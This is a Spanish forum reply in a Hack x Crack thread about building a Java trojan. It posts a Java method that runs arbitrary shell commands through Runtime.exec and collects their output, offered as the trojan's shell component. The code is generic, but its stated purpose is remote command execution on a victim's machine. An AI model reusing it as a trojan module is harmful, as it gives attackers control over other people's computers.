• Inicio
  • Buscar
  • Ingresar
  • Registrarse

    Starfield: el juego que revolucionará el espacio y la tecnología

    • Hack x Crack - Comunidad de Seguridad informática »
    • Programación »
    • Java y Android »
    • Proyecto - Troyano en Java II (Shell)
    • Imprimir
    Páginas: 1 [2]   Ir Abajo

    Autor Tema: Proyecto - Troyano en Java II (Shell)  (Leído 30862 veces)

    Desconectado DanielJIxL

    • { L0 } Ñuub
    • Mensajes: 2
    • Mantener la mente Libre
      • Ver Perfil
    Re:Proyecto - Troyano en Java II (Shell)
    « Respuesta #10 en: Mayo 01, 2013, 06:58:10 pm »
    No se si este ejecutando bien tu clase shell pero me sale error al ejecutar el comando dir que en otra forma de llamar la shell q encontre me funciona. no se si sea el procedimiento correcto para lo que se pretende aqui dejo el codigo del que me funciona
    Código: [Seleccionar]
    public static String executeCommand(String command, boolean flagbackground) {
            System.out.println("Comando a usar: "+command);
            String commandShell = null;
            String osName = System.getenv("OS");
            String x = "";
            if (osName.equals("Windows_NT")) {
                commandShell = "cmd.exe /C " + command;
            } else if ((osName.equals("Windows 95")) || (osName.equals("Windows 98"))) {
                commandShell = "start " + command;
            } else if (flagbackground) {
                commandShell = "" + command + " &";
            } else {
                commandShell = "" + command;
            }
            try {
                Process proc = Runtime.getRuntime().exec(commandShell);
                BufferedReader brStdOut = new BufferedReader(new InputStreamReader(proc.getInputStream()));
                BufferedReader brStdErr = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
                String str = "", stre = "";
                while (((str = brStdOut.readLine()) != null) || (stre = brStdErr.readLine()) != null) {
                    if (str != null) {
                        x = x + str + "\n";
                        continue;
                    }
                    if (stre != null) {
                        x = x + brStdErr.readLine() + "\n";
                    }
                }
                brStdOut.close();
                brStdErr.close();
            } catch (IOException eproc) {
                System.out.println("Error to execute the command : " + eproc);
                //Men.error(eproc + "", "Error En La Ejecucion");
                return x;
            }
            return x;
        }
    En línea
    Se Libre, para pensar en grande

    • Imprimir
    Páginas: 1 [2]   Ir Arriba
    • Hack x Crack - Comunidad de Seguridad informática »
    • Programación »
    • Java y Android »
    • Proyecto - Troyano en Java II (Shell)
     

    • SMF | SMF © 2013, Simple Machines
    • XHTML
    • RSS
    • WAP2
    Va un mudo y le dice a un sordo: Hack x Crack usa cookies. Pues eso... Learn more